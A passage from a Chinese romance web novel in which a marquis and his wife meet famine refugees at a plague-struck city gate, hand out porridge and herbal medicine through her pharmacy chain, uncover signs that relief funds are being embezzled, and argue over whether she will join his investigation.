江元音会意点点头,体贴道:“其实侯爷不必陪我去岚州的,买屋落户,我自己能搞定。”
她年初去给江兴德买房子,也是自己搞定的。
只要口袋里揣够了银两,再找个房牙子,便轻而易举。
他去抚州是有正事,她并不想耽搁他。
“阿音自己能搞定,是因为阿音能干,能干不代表应该干,”齐司延不赞同地挑眉道:“若阿音事事亲力亲为,不用为夫插手,那阿音要我这个夫君何用?”
江元音无语看着他。
他又来了。
自从请奏了和离,她拿回了自己的户籍,他每日说话便是这样。
一口一句“为夫”、“夫君”的,时时刻刻提醒她,和离是假的,两人还是夫妻。
江元音又无语又好笑,如他先前所要求的,待他多些耐心的,好声劝道:“以夫君的能力,定能很快处理好抚州事宜,妾身在岚州收拾妥当,等夫君归来庆祝。”
齐司延握住她的手,不容商量地坚持道:“待我们一起在岚州安好了家,我会快马加鞭赶去抚州,不会误了正事。”
江元音知晓他是因为两人在明面上真的和离了,所以才如此坚持。
也怪李霁之前故意“逗”他,更怪封弋离开时那番似是而非的话,让他没了安全感。
近来宿在客栈,他逮着机会便要追问,她真的想离开的是什么。
再使尽解数,在她招架不住时,一遍遍让她重复,她想离开的,不是他。
江元音懂他的心思,也就不再劝。
沉默间,喧嚣的人声不住传入耳畔,越来越近。
不是还没入城么?
怎地这般吵?
齐司延也觉得怪异,再次掀开了车帘,这时正好骑马前去探了探情况的曲休折返,骑马随行马车旁。
曲休神色凝重地禀告道:“侯爷,源城城门口**着从抚州六县逃荒过来的难民,人数众多,堵住了城门。”
江元音认真听着,掀开了自己这一侧的车窗帘。
远远看去,城门口挤满了难民,乌泱泱的一片。
那些逃荒的难民一个个衣衫褴褛,叫唤的声音沉闷低哑,根本听不出什么具体的字词来。
她看了一会,不见人群有半点挪动,又转过头看向这一侧的曲休,问道:“守城门的官兵不让他们入城?”
“是,”曲休回道:“源城不接受自抚州逃荒过来的难民,可这些难民不肯走,将城门口堵了个水泄不通,我们的马车要入城,怕是要费一番功夫,还请侯爷、夫人耐心等待。”
除非是不顾这些难民死活的驱赶,否则一时间难以驱散他们让路。
齐司延表示了然的颔首,吩咐道:“慢便慢些,不要伤害无辜。”
“曲休明白。”
马车缓慢驶近城门口,那些难民的叫嚷声便真切清楚些了。
“求求官爷了,放我们进去吧……”
“我们已经很多天水米未进了,行行好……救救我们……”
“官爷,我们不是流寇,我们就是普通百姓,实在是走投无路了……”
源城城门口站了一大排官兵,严阵以待,**交叠交叉,形成人墙,不肯放一人进去。
他们不住冷血无情的厉声重复道:“源城禁止流民、难民入内,擅闯者死!”
马车内,江元音和齐司延都面色沉重。
抚州今年大旱,六县颗粒无收,因此朝廷才派了许昌安前来赈灾。
虽说早就知晓听说了大概情况,可亲眼目睹苦难时,方觉震撼与难受。
许昌安拿了那么多库银,怎地还会有如此多的百姓逃荒?
这时有一年轻男子上气不接下气地,喘息激动道:“那你杀了我们好了!反正都是死!死个痛快,也好过被活活饿死!”
他不顾一切地往前冲,完全不惧那些**长矛。
有他带头,不少难民纷纷响应附和,一具具瘦骨嶙峋的身子,不计后果的往前冲。
“后退!”
“马上后退!”
官兵们制止不住,**一把扎进带头男子的胸口。
男子的身子不知道是不是要油尽灯枯了,受了这么重的伤,也没有鲜血喷涌。
人群叫嚷起来,越来越混乱。
有人被震慑住后退,也有人失了智地往前冲。
越来越多人死在守城官兵的**下。
齐司延示意曲休领两人上前制止,江元音急声道:“侯爷,不如我们把马车上所有吃食水囊分发给他们?”
这种情况,给他们钱毫无意义,他们要的是水、是食物。
用食物吸引他们,避免他们继续爆冲城门枉死。
齐司延应了,唤住曲休。
江元音反应极快,立刻和雪燕、清秋一起,翻找出他们所有的水和食物。
反正他们马上要入城,可以入城后再补给。
她动作利落,要下车帮忙给难民分发食物和水。
齐司延制止道:“你不要
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下车,派人把水和食物送过去。”
江元音提议道:“唤他们过来不是更好吗?”
她本意就是不想他们失智堵在城门口“闹”事,死在守城官兵的**长矛下。
齐司延摇头,沉静道:“我们准备不足,食物和水不够分,把他们唤过来,会造成哄抢,只是把**的地点从城门口换成了我们的马车这。”
“阿音,我知你是好意,但那太危险。”
江元音认可的点头:“还是侯爷思虑周到。”
她刚刚的确没想这么多。
齐司延拿出通关文牒递给江元音,道:“一会我和曲休去分发食物,把堵在城门口的难民们引开,你抓准时机,将通关文牒交予守城门的官兵,先行入城等我们。”
江元音接过通关文牒,满脸担忧,道:“那侯爷会不会有危险?”
若那些难民真的开始哄抢爆冲,齐司延会不会受伤?
“无碍,”齐司延并无惧色,坚决道:“我既是为此而来的,自然得去一趟,弄清楚到底是怎么一回事。”
他安抚补充道:“阿音莫怕,好好入了城等我便是。”
江元音脑子转了转,立即道:“那我入了城,立马去附近的吃食店采购一番,再折返给侯爷送过来。”
在两人遇到困境时,她希望可以和他一起面对。
而不是只能干看着,任由他独自忙活。
齐司延短暂的犹豫,还是给她泼了冷水:“阿音恐怕难以采购到足量的食物。”
源城和抚州临近,抚州旱灾已有数月,这绝不是第一批逃荒到源城的难民。
守城的官兵如此决绝地拒绝难民进入,只怕源城内的情况,也不太乐观。
江元音会意,不沮丧地回道:“我去试一试,若是不行,便寻人来接侯爷,总之,我同侯爷同心同力。”
“好。”
两人达成共识,立马按照计划行事。
齐司延下了马车,拿着江元音等人翻找出来的所有食物、水囊,翻身上马,策马同曲休一道朝难民们而去。
江元音掀开车帘,长久地望着齐司延策马而去的背影。
她是惊讶的,他竟然会骑马?
齐司延高坐马背,身姿挺拔如松,仿佛这天地间,没有什么可以让他折腰。
傍晚晕黄的光线倾洒在他的身上,飞扬的衣摆都渡上了碎光。
这便是她很久之前,以为他双腿残废时,曾经遗憾感慨的。
那时他拿着齐腾大将军的玄霜剑,她便想过,他若不是遭陆氏毒害,一定是鲜衣怒马,最意气风发的儿郎。
看着他策马而去的背影,她心道,果真如她所想。
虽然时机不对,但此时此刻,她的确为他心动。
当齐司延和曲休带着食物出现,那些难民们立刻朝他们蜂拥而去。
江元音满目担忧,目光一瞬没离开齐司延身上,他被乌泱泱的人群包围。
夕阳落在他的身上,糅杂成矛盾的余晖。
既威严,又满脸悲悯。
第164章 这是我夫君
没有难民堵门,江元音顺利进入了源城。
她没有一刻耽搁,立刻询问守卫,离这最近的能买到食物和水的摊贩或铺面在哪里。
守卫知道她想做什么,连连摇头,正如先前和齐司延所言一般,叹息回道:“我们源城内要有充足的,能分给这些逃荒难民的食物,也不必将他们拒之城外了。”
江元音温声询问:“源城也闹了旱灾饥荒?”
“那倒不是,”守卫又摇了摇头,“抚州灾荒,我们源城原本也援助了不少,送去了不少粮食,从两个月前开始,便有难民自抚州涌进源城,原本我们知府大人一并接纳,安排人手安置他们。”
“可谁知抚州不仅仅是闹了饥荒,还发了疫病,抚州知府却没告知,最先入城的那些难民,将疫病带到了源城。”
“疫病?”江元音紧声问:“可有上奏朝廷?”
她并没有详细问过齐司延抚州灾情相关,但很显然,他也是不知道有疫情的。
“这些我一个守城门的哪清楚?”守卫还是摇头,“染上这疫病的人,上吐下泻,全身长红斑溃烂,我们源城很多百姓都因照顾这些难民染上了疫病,**不少人。”
说到这,他稍有些激动:“是,这些难民们可怜,可我们城中的百姓难道就不无辜吗?不再让他们入城,也是迫不得已。”
江元音听完,思绪万千地点点头,温声回道:“你们尽力了,也辛苦了。”
她在心里,默默为自己先前狭隘片面的觉得他们冷血无情而道歉。
大家各有各的立场,没有对错。
城外难民的命是命,城中百姓的命亦是命。
无数次被误解怒骂的守卫们,难得得到旁人的理解,难免心头发酸。
是以,守卫出声,诚心地劝了句:“夫人心善,但若无能接纳拯救所有人的本事,就别插手了,免得自己染上疫病,得不偿失。”
“多谢提醒。”
江元音自守卫这了解了情况,还是动身往最近的市集而去。
先尽人事再听天命。
但一如守卫所言,街道冷冷清清,傍晚时分,已没有几个摊贩铺子。
不仅如此,好不容易寻到了米面馒头铺子,也买不着。
老板无奈摆手,把蒸笼掀开,道:“就剩下这几个了,不过你就是白日来买,也买不了多少。”
他看出江元音不是本地人,便出声解释道:“隔壁抚州旱灾闹饥荒呢,我们源城援助了那么多粮食,先前接济了那么多难民,结果还染上他们带来的疫病……”
他适时收了声,叹息道:“哎,反正我们自己手头粮食也不多,知府大人下令,按人头购买、出售食物,万不能浪费。”
江元音会意应声,将银两递过去,买下了他剩下的馒头,“不必找了。”
摊主将零星几个馒头打包给她,多得了银钱,便好心提醒道:“夫人是刚从城外进来吧?城门口那么多难民,夫人小心感染疫病,夫人赶紧往城中走吧,那有两家药铺,趁着酉时关门前,去买些防疫病的汤药,以防万一。”
江元音道了谢,心情沉重地往城门赶。
这几个馒头杯水车薪,根本解决不了城门口的情况。
但这个点,已没有几家营业的铺子,加上源城的“限购令”,她也根本采买不到足够的食物。
而齐司延还在城外,她必须先去确认他的安全。
江元音悬着一颗心折返城门口,直到远远瞟见齐司延已经入了城,和守卫交谈。
她终于松了口气。
马车停下,她急忙下车,小跑朝他而去。
“停下——”齐司延立在城门口,大声喝止她,“别过来!”
江元音从未见过齐司延这般厉声疾色地冲着她说话,一时愕然停在原地,不解看着他。
直到看到城门口的守卫们,拿来艾草,对齐司延和曲休等人绕圈熏了一番,她才恍然。
城门口一直点着艾草,只是她刚急着去采购食物,并未留意。
而因为她是避开了难民,坐马车入城,守卫也没让她熏艾草。
齐司延等人刚从难民堆里入城,守卫自然严阵以待。
他大声喝停她,是怕她染上病气。
江元音毫不犹豫,大步迈过去。
齐司延拧眉,满脸不赞同,又没甚可以不伤害到她,阻止她的法子,只好朝她走去。
“没事的,我身体很好,”江元音安抚完,反而有些愧疚担心道:“我不该让你去分食物的。”
她一时“心善”的后果,却让他来承担了。
“一般灾后都伴有疫情,我去时便心中有数,”齐司延温声道:“与你无关,你别乱想。”
虽然离城门口那群守卫有些距离,江元音还是怕泄露他身份,谨慎地换了称呼询问道:“夫君是怎么脱身入城的?”
她边问边好奇朝城外看去。
齐司延担心将病气传给她,没有直接上手捂住她的眼,只是往她身前一站,挡住她的视线,沉声道:“别看。”
外边的情况,称得上惨烈。
难民太多,而他们的食物有限,有些人失了理智,发疯地哄抢。
场面失控,难以维系,死伤一片。
看他这反应,江元音大抵能猜测到外边的情况,抱紧了怀里那区区数个馒头,沮丧道:“城内情况的确不乐观,是我太自以为是。”
以为递出去的是救命的食物,但其实何尝不是一把刀?
撒盐于沧海罢了。
“在自己能力范围内尽力,当问心无愧,”齐司延开解道:“阿音,现在不是伤怀感慨的时候。”
江元音点点头,收拾了心情。
两人快步往马车走,边走边交流互通着了解到的信息。
到了马车边,齐司延与曲休等人换下了外衣。
此次是暗中出行调查,加上要低调送江元音去岚州,齐司延自不可能高调去寻源城的知府,暴露行踪。
还是一如之前,先去寻客栈入住。
上了马车,江元音忽地想到了什么,对齐司延道:“侯爷,不如我们先去一趟城中药铺吧?”
“嗯?”齐司延见她眸色亮了亮,便知她应当是有什么想法,等她后文。
江元音道:
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“我老早便知,日后战乱不断,药铺最是吃香,因此出嫁前,特意问江家要了江南十二间药铺作为嫁妆,如若没有记错,这源城该有一家‘杏林春’的!”
源城已是江南区域,“杏林春”便是这江南十二家药铺的名字。
能联合起十二家药铺来供药,不说彻底解决疫情,至少能缓解不少。
齐司延是有印象的,之前江元音为了拿到给他解毒的珍稀药材,便是和汴京的药材行做交易。
给药材行行主提供江南地区的特色药草,来换取汴京药材行替她集齐解毒用的药材。
他赞赏道:“阿音甚有远见。”
大件的物品都由镖行运送了,铺子、地契这些,江元音是随身携带着的。
她立马命雪燕去拿她放凭证的匣子。
齐司延掀开车帘,吩咐曲休骑马去寻今夜落脚的客栈,又吩咐车夫往城中去,找寻源城的杏林春。
城中的确有一家“杏林春”药铺。
车夫驶到药铺门口时,大门已经关上了。
江元音往里望了望,依稀能看到些烛火光亮。
她拿着药铺的凭证和齐司延一道下了马车。
清秋上前,摇动门环旁边的铜铃。
一阵后,才传来脚步声,药铺伙计开了门,打量了下屋外的齐司延和江元音,不见其有甚病重的样子,出声道:“郎君、夫人,小店今日已打烊,若是要抓药,明日请早吧。”
江元音将青铜印信递过去,与之道明身份:“我乃杏林春东家,你们掌柜的可在里头?”
伙计接过印信,也辨不出真假,回道:“夫人稍等,我这就去请示我们掌柜的。”
江元音应声:“有劳。”
未多久,一位四十出头的男人步履匆匆而来,一番自我介绍后,恭敬将江元音与齐司延请入后院落座。
王掌柜斟茶后,恭敬问道:“东家怎地来了源城?”
江元音不便透露太多,不答反问道:“源城的疫病是怎么一回事?”
王掌柜回道:“当是先前从抚州逃难涌进城来的那些百姓带过来的,城中不少百姓染上了,也**一些百姓,好在知府大人行事果断,死守住了城门,如今城内的疫病算是控制住了。”
齐司延出声问道:“知府没命你们去城门布药?”
听城门口的守卫所言,之所以将难民拒之城门外,主要是怕城中百姓染上疫病。
粮食短缺是一个问题,更大的问题当是疫病。
而堵在城门口的那些难民,比起食物,可能更需要的是药。
王掌柜疑惑看着齐司延,暂不知其身份,也不知该不该作答。
江元音出声介绍道:“这是我夫君。”
王掌柜讶然躬身行礼:“拜见侯爷。”
他们远在江南,自不知道皇城汴京的是是非非,只知道东家是嫁给了定宁侯。
“不必多礼,”齐司延表态道:“此次是便装出行,不要曝露本侯身份。”
王掌柜立即改了口:“小的明白了,姑爷放心。”
齐司延颔首,对“姑爷”这个称呼,甚是满意。
第165章 你休想丢下我
王掌柜继续回道:“姑爷有所不知,约莫一个月前,抚州知府派人来采购药材治疫,将马齿苋、白头翁,乃至苍术、艾叶等药材,皆以不到一成的价格收走,如今源城内药铺,所剩可治疗疫病的药材本就不多了,还得紧着城内的百姓先,何况……”
他顿了顿,欲言又止地望着江元音,为难道:“因为以不到一成的价格悉数卖给了抚州知府,源城杏林春这几月的营收都是亏损的,若无偿为城门口的难民布药,恐怕源城杏林春今年的账本会很难看,恐惹东家不悦啊。”
他从未见过江元音,更不知其脾性,他只知道他这个当掌柜的,职责便是将铺面管理好,能有营收。
要是连年亏损,他这个掌柜的会被辞退吧?
闻言,江元音和齐司延对视,在彼此眼里,默契看到了同一个想法。
这药材采购怕是有猫腻。
江元音开口道:“王掌柜,劳你将账本拿来,我想看看抚州知府的采购明细。”
“是,东家。”
王掌柜立即抬步去取账本。
江元音侧目看向齐司延,道出心中的猜测:“每天还有这么多难民堵在源城城门口,抚州的灾情恐怕没有解决,也不知道抚州知府收了这么多药材,到底有没有用在百姓身上。”
库部给前往抚州赈灾的许昌安,拨了那么多库银,还以一成的价格来收购药材,抚州那边的疫情,不可能控不住吧?
许昌安拿了钱,到底有没有办事?
抚州知府又知不知情?
齐司延眸色深了深,沉声道:“得去抚州取证。”
江元音似是下了决心,开口道:“侯爷不必送我去岚州,我想同侯爷一起先去抚州。”
之前只是耳闻灾情,远没有今日亲眼目睹来得触动。
她想和他一同进退,尽绵薄之力。
齐司延蹙眉,正要拒绝,被去而复返的王掌柜打断。
王掌柜不仅是取来账本,还命伙计提了壶汤药,关切道:“东家和姑爷今日入城,想必有碰到堵在城门口的难民,这些是藿香、佩兰等药材熬制的预防疫病的汤药,东家、姑爷且喝一碗,有备无患。”
江元音颔首,示意雪燕、清秋上前分发给大家。
她接过账本和齐司延一同翻阅。
抚州知府的确以不到一成的价格,采购了大量用来治疫病、防疫病的药材。
江元音出声问道:“这账本可有备份?”
“有的,”王掌柜回道:“因为年底要呈给东家过目,账本是有备份的。”
这是默认的规矩,但江元音于年初出嫁才收了这些陪嫁的铺子,成为药铺东家尚不足一年,不知这些规矩也正常。
江元音道:“那你将备份给我吧。”
“是,东家。”
齐司延出声问道:“其余各城的杏林春可也为抚州这次疫情提供了药材?”
王掌柜点头:“将马齿苋、白头翁等药材都供给抚州后,小的也曾书信临近城的杏林春,想调取些药材,方才知道临近城的杏林春店内的这些个药材,通通被抚州以极低的价格采购了。”
他补充了句:“不过离得远了些的店铺,小的便不知道了。”
江元音懂得齐司延这般问的原因,随即出声道:“你将你联络过的其余临近城的杏林春一一罗列写给我。”
她继续吩咐道:“不管药铺里还剩下多少药材,悉数拿出来,明日去城门口布药。”
“可这……”
“人命关天,年底账本便是亏损了,我也不会怪你。”
“东家大义,”王掌柜仍面有难色,道:“一月前,药铺不仅是为了抚州提供了大批药材,也听从知府大人的命令,选了大夫和伙计前往抚州六县帮忙,至今未归,明日要去城门口布药,便是通宵熬夜,只怕也人手不足啊。”
江元音突兀问道:“后院可有空余的厢房?”
“有的,大夫和伙计们未归,厢房空着呢。”
杏林春前院是药铺,后院则是大夫、伙计们住宿的地方。
江元音看向齐司延,“不如我们今日便歇在这?正好能搭把手帮忙。”
要去抚州查案,也不能对城门外那些难民熟视无睹。
早些救助了他们,也好早日动身去抚州。
齐司延应了。
所有人都开始忙活起来,青鸢、沉月以及车夫等人随着药铺的伙计去搬药材。
很快,找好了客栈前来会合的曲休也加入了阵营。
江元音、清秋、雪燕忙着帮忙熬制药材。
齐司延在研究账本,提议明日清晨加盐熬些粥水。
杏林春的后院,有条不紊地忙碌着,好不热闹。
一连忙活了数个时辰,总算将一切准备妥当。
回到王掌柜安排的厢房,江元音也没停下来,而是执笔给王掌柜提供的药铺的掌柜写信。
齐司延在她身边安静专注望了她许久,有不忍打扰的欣赏,也有心疼和担忧。
她的确不是娇柔的小白花。
她有自己的想法,并且很有执行力。
一气呵成地写完数封,江元音才放下了笔,冲齐司延道:“我会让他们把账本寄到抚州的‘杏林春’药铺去,或许能成为许昌安**赈灾库银的证据,帮到侯爷。”
“辛苦阿音,”齐司延自我调侃道:“阿音果真有本领,入了江南,我便成了赘婿。”
江元音环顾了下房间,玩笑回道:“也是,侯爷今日住的是我的铺子。”
她挑眉问他:“我这样说,侯爷会不开心吗?”
“怎会?”齐司延真心诚意地夸赞道:“夫人有本事,是我的福气与荣幸。”
他没有半点自尊心受损的模样:“我可是签了入赘书的。”
江元音听得舒心。
他从不是自己高高在上,便不许别人发光发亮的人。
她满意道:“睡吧侯爷,时候不早,明早还要起来去布药。”
可齐司延没动,严肃地回应她先前被王掌柜打断的提议,道:“阿音,你不能随我去抚州。”
江元音知道他是担心自己被传染上疫病,就如
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先前在城门口,他在熏了艾草后,也依旧和她保持距离。
直到换了外衣,到了杏林春,喝了汤药后,才肯稍稍离她近些。
她不愿纠结这些,把气氛变得沉重,故作玩笑的口吻道:“侯爷这是过河拆桥吗?”
她挥了挥手中的信,“信还没寄出去呢,侯爷这般不地道,那我可不帮你了。”
齐司延叹了口气,低声道:“阿音,我知你心善,但你能让杏林春明日无偿去城门口施粥布药,已经是施以援手了。”
他重复道:“你不能随我去抚州,那太危险,可能会染上疫病的。”
他伸手握住她的手,哄劝道:“剩下的,交给我,可好?”
江元音直接拒绝:“不好。”
她同样严肃着脸道:“我知道侯爷是担心我,同理,我也一样会担心侯爷。”
“我和侯爷一起去抚州,不会给侯爷添乱,也不会成为侯爷的累赘的。”
“抚州一样有杏林春,我是杏林春的东家,我可以帮助侯爷,也可以力所能及地帮那些无辜的百姓。”
齐司延却没有半分松动:“我不会让你同我一道去冒险。”
江元音蹙眉,“我刚还觉得侯爷不在意什么入赘之类的玩笑,是懂得尊重妻子,可现下侯爷不考虑我意愿的关心,让我觉得很武断,很不尊重我。”
齐司延任由她骂着,不再接她的话,将她打横抱起,熄灭了烛火。
他抱着她躺下,“我们不吵架,睡觉。”
“我不去岚州,”江元音再次强调,“我要和侯爷一道去抚州。”
齐司延依旧不回应,为她盖上被褥:“睡吧。”
江元音:……
她气恼他的执拗与油盐不进。
但此时已过了子时,离天亮不过两个多时辰。
听着他嗓音里的疲惫,她闭上眼,不挣扎,也不再多说。
她不想和他争吵,但她也不会让步,
卯时一到,院子里开始有了动静。
昨日入睡前已经安排好,卯时起来,熬煮些盐水粥。
染上疫病的难民,一个个上吐下泻,是需要补充盐水的。
一夜浅眠的齐司延,小心翼翼地松开了江元音。
她昨日赶了一天路,又忙碌到半夜,他想她多睡一会。
更重要的是,今日去城门口施粥布药,他不想她掺和。
然而,齐司延刚松手的刹那,江元音立即睁开了眼,直勾勾地看着他。
她眼神清明,不带半点惺忪,仿佛一夜未眠。
江元音的确是一夜没睡,一开始是生气,后来是害怕。
害怕他会“自以为是”地安排好一切,等她一睁眼,他便扔下她,只身前往抚州。
齐司延微怔,随即温声道:“还早,你再睡会。”
江元音伸手,用力将打算起身的他拉回来。
齐司延将起未起,猝不及防被她一拉,失了平衡重新跌躺在床榻上。
江元音翻身,俯趴在他胸口,继而张嘴狠狠咬上他的肩膀:“齐司延,你休想丢下我!”
第166章 本侯奉皇命而来
齐司延知道,江元音这回是真的恼他了。
她一恼他,便会连名带姓地唤他。
齐司延任她咬完发泄完,抬手帮她撩起垂落的青丝,叹息道:“我怎么可能丢下你?你在岚州等我,我……”
江元音越发气恼,不听他说完,直接翻身下床。
他有他的坚持,她有她的执着。
她不再理会他,兀自起身去洗漱更衣。
生气归生气,江元音却半点不会耽搁正事,相**作反而更利索。
她同雪燕、清秋一同去熬粥,忙活完,便将昨夜写好的信交予店里的伙计,让他帮忙跑腿,把信寄出去。
这里是源城,杏林春的伙计办这事,肯定比跟在她身边的人来得利落。
忙活得差不多时,江元音询问王掌柜:“店里可有方便挪动的写着店名的牌匾之类的?”
去给城门口的难民施粥布药本意是为了施以援手,但这更是个打响“杏林春”名声的好时机。
一举两得的事,何乐不为?
王掌柜摇头,提议道:“把店铺正门的牌匾拆下来?”
一时半会只能想到这个满足东家提出来的要求了。
这时几步外一直默默留意江元音动静的齐司延,指着角落一块木板问道:“王掌柜,那块木板可要做其他用?”
王掌柜摇头,殷勤道:“不过是刚从推车上腾下来的空木板,姑爷要用得上,尽管用便是。”
齐司延命曲休去取笔墨,随后提笔在木板上写下“杏林春”三个大字。
他下笔利落,一气呵成,笔锋似春风携刃,又遒劲如松。
王掌柜第一个赞叹出声:“姑爷这一手好字,堪称一绝,写在普通木板上,真真是浪费,姑爷若是得空,不如提笔重新为店铺写块招牌如何?”
其余人相继夸赞出声。
齐司延在一众夸赞声里侧头朝江元音看去,偏偏她连个余光都没有给他,只留给他一个忙活的背影。
他微不可闻地叹息。
曲休看在眼里,忍不住低头小声询问身侧的清秋:“夫人在生什么气啊?”
清秋摇头,小声回道:“我不知道,要不你去问问侯爷?”
夫人自醒来后,没一刻空闲地忙碌,她可不敢多嘴扯这些。
反正夫人和侯爷之间弥漫着古怪的氛围。
曲休等人帮忙将盛放着汤药、米粥的大缸搬上杏林春的推车。
一切准备就绪,一行人出了杏林春,前往源城城门。
卯时未过,城门口当值的还是守夜的守卫,并不是他们昨日入城的那一批。
齐司延大步上前,同其交涉。
江元音戴上帷帽,和清秋、雪燕等人守在推车旁。
片刻后,为首的守卫终于点了头。
齐司延折返,试图劝说江元音留在城内。
帷帽下,江元音也没看他,扶着装着汤药的药缸,和大家一道出了城。
城门外的情况,比江元音想象中的还要惨烈。
不知道是因为爆冲城门,死于守卫的**下,还是昨日的哄抢自相残杀,亦或者抵挡不住饥饿与疫病,昨日还乌泱泱一片的人群,只剩下一半。
围绕着城门口数十丈远的区域,难民们躺得横七竖八,不知生死。
而还能走动的人,见着有食物的推车,蜂拥围过来。
离得近了,江元音清楚地看到他们的脸,干瘦黑黢,裸露出来的皮肤溃烂瘆人。
今日人手充足、食物充足,加之难民剩不到一半,场面没有混乱到难以维系。
江元音张罗着粥水和汤药的分发,让沉月、青鸢在推车前维护秩序,待一切有条不紊地进行,再抬首时,发现齐司延和曲休正在挨个查看那些倒地的难民。
她知晓他们当是在确认那些人的生死,于是将分发粥水汤药的活交予清秋、雪燕,自己领着杏林春的郎中一道上前帮忙。
齐司延很快察觉到她的举动,抬步而来,阻止道:“不用去了,都**。”
那些倒地的尸体,早就僵直了。
江元音不搭理他,兀自环视着那些倒地的尸体。
齐司延下意识地遮挡她的视线,不让她去目睹那些怖人的惨状。
江元音明白他是出于好意和关心,可联想到夜里谈崩的事情,这份“关心”亦让她觉得不爽快。
她不喜欢他这样武断地替她做决定。
哪怕是出于关心。
齐司延看不到她帷帽下的表情,也知她仍在气闷中。
他又道:“防止疫情扩散,这些尸体需要尽快掩埋或焚烧,人手不够,我需得去见一趟源城的知府。”
话音刚落,城门口传来一阵喧嚣声。
说曹操曹操到。
来的,正是源城知府,郑平远。
郑平远背手立在城门口,下令让一众衙役,朝分发粥水、汤药的推车而去。
情况不妙,江元音哪还能杵在这和齐司延赌气,两人都快步朝城门口而去。
衙役们戴着面具,堪称全副武装的拿刀剑驱散推车前的难民。
青鸢、沉月以及曲休等人,正和衙役僵持。
郑平远看着走近的齐司延与江元音,率先愤怒发难道:“便是你们二位不顾源城颁布的临时规定,在这添乱?”
齐司延回道:“我等一路南下,途经源城,见此惨状,故略施援手,无意添乱。”
江元音扫了眼那些全副武装要毁了推车的衙役,质问出声:“这次救济的粥水、汤药,乃我们自行准备,大人可以见死不救,为何要毁人生机?”
源城内其他的摊贩严守颁布的法令,限量出售食物。
这些粥水、汤药,全是“杏林春”药铺,自己的存粮,而不是购买的。
“本府毁人生机?”郑平远声音重了重,厉声道:“那本府倒是要问问你们,你们会在源城待几日?”
“一日?两日?还是三五日?”郑平远连声道:“你们救得了这一批,可管得了日后源源不断涌过来的难民?”
“当初本府便是开了先例,收留过难民,才会不断有难民涌过来,现在你们招呼不打,便在城门口施粥布药,你们倒是做了好人,过几日拍拍屁股便走了,那之后闻讯堵在我源城城门口的难民,该如何处置?”
“你们毁的,分明是我源城百姓的生机!”
江元音闻言,冷静了不少,严声回复道:“大人,我以‘杏林春’东家的身份在此许诺,疫病一日不除,我‘杏林春’一日未关门倒闭,便一直无偿在城门口布药,绝不是心血来潮弄个三五日,便拍拍屁股走人。”
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>远处的难民闻言,开始出声高呼“恩人”。
郑平远脸色越发难看,齐司延上前一步,沉声道:“此处嘈杂,不如借一步说话?”
郑平远沉默望着齐司延。
他领着衙役过来前,有去了解二人的消息。
昨日见过其通关文牒的守卫说,他们是自汴京而来的,身份是商贾,没甚特别。
刚也听到了那戴帷帽的女子自称是“杏林春”药铺的东家。
可面前这年轻男人器宇不凡,身上并无半分游走多地的商贾的市侩之气。
不似商贾,倒像世家子弟。
半晌后,听着耳边难民的叫嚷声与衙役**的声音,郑平远抬步往城内走。
齐司延与江元音随即跟上。
入了城内,耳边安静了不少。
江元音率先开口劝道:“大人之前既愿意收留这些难民,定不是铁石心肠、见死不救的人,大人要顾城中百姓,不让这些难民入城是人之常情,但能否请大人允许杏林春在城外布药?”
郑平远脸色倒是缓和了些,“我知你二位是好心好意,但抚州灾疫,朝廷都不出手,你我无济于事、于事无补,有多大能力做多大的事,不要惹祸上身。”
“朝廷不出手?”齐司延抓住了关键字眼,试探问道:“我们自汴京而来,早听闻抚州有旱灾,但并未听到有疫情,郑大人既得知抚州有疫情,为何不上奏,请朝廷援助?”
“本府如何没上奏?”郑平远激动起来,“自一个半月前,本府收留的那些难民将疫病传染给城中百姓,本府便快马加鞭,上奏朝廷,连书几封,音讯全无!”
齐司延没甚情绪,继续探寻问道:“源城离汴京甚远,郑大人如何笃定是朝廷不管抚州疫情,而不是你的奏书还未送到京城?”
郑平远意味深长道:“没送到过,也送不到。”
“怎会?”齐司延佯作听不懂,“朝廷得讯一定会加派人手过来的,先前不是便派钦差大臣许昌安前往抚州赈灾了?”
郑平远闻言嗤笑出声:“本府索性和你们挑明,此事正是前往抚州赈灾的钦差大人,许大人下令,抚州的灾疫,许大人自会上书朝廷,用不着本府僭越。”
“天高皇帝远,本府只是一个小小知府,能护住这一方百姓已是勉强,不敢逞能。”
钦差大人许昌平可不是普通人。
那可是国公爷的嫡三子,谁敢得罪?
齐司延了然,只是沉声道:“只要郑大人真的有上书,汴京皇城再远,也总能送到皇上面前。”
郑平远连连摇头,并不认可,“你们太年轻了,等你们到了本府这个年纪,便会懂得什么是事与愿违,有心无力。”
齐司延不与之争辩,而是掏出定宁侯的令牌与皇上信物递过去,挑明身份道:“本侯奉皇命而来,督查抚州赈灾一事。”
郑平远看了令牌,双腿一软,直接下跪:“下官有眼不识泰山,还请侯爷恕罪……”
“当务之急该处理城外难民们的尸首,需尽快埋葬焚毁,免得病气扩散,殃及源城。”
“下官这就去办!”
齐司延叮嘱道:“本侯此次乃奉旨暗查,郑知府切记,不要透露本侯身份。”
“下官明白,请侯爷放心!”
第167章 侯爷不该困住夫人
齐司延亮明身份后,行事便方便了许多。
那些原本驱散难民们的衙役,在郑平远的吩咐下,在一片哀痛的哭声中,开始处理城外的尸首。
一直忙活到午时,才稳住了城外躁动的难民们。
齐司延第十二遍看向领着“杏林春”药铺郎中给难民处理伤口的江元音,薄唇紧抿。
……阿音已经无视他一上午了。
便是之前误会闹得凶,她打算和他和离时,她也没有这样,一句话都不搭理他。
忙活了一上午,此时得了片刻的悠闲,曲休清了清嗓子,打算替其分忧地询问道:“侯爷为何同夫人吵架?”
“……我们没吵架。”齐司延否认。
曲休斟酌着换了说辞,“夫人为何不理侯爷了?”
齐司延蹙眉反问:“你怎么看出来的?”
曲休强忍着指一指自己眼睛的冲动,**道地含糊回道:“侯爷,大家都看出来了。”
嗯,看出来的不止是他。
侯爷可不能只生他气。
曲休又道:“当局者迷旁观者清,侯爷说出来,我帮侯爷分析分析?我还能撺掇雪燕、清秋去劝劝夫人呢!”
齐司延沉默,目光追随江元音的背影。
在曲休以为他应当是不会再回答时,蓦地开了口:“我不同意她随我一道去抚州。”
“侯爷为何不同意?”曲休也一道望着江元音的背影,迷惑感慨道:“夫人多能干啊,昨夜组织大家熬药、熬粥,安排得仅仅有条,见着面目怖人,浑身溃烂的难民,也半点没露怯。”
“那些个难民现在看着夫人,就跟见着活菩萨了一样,个个感激得不行。”
“夫人若是和我们一道去了抚州,一定能……”
齐司延收回落在江元音身上的目光,一记眼刀朝曲休飞去,不悦道:“你这是要帮我劝她,还是要帮她劝我?”
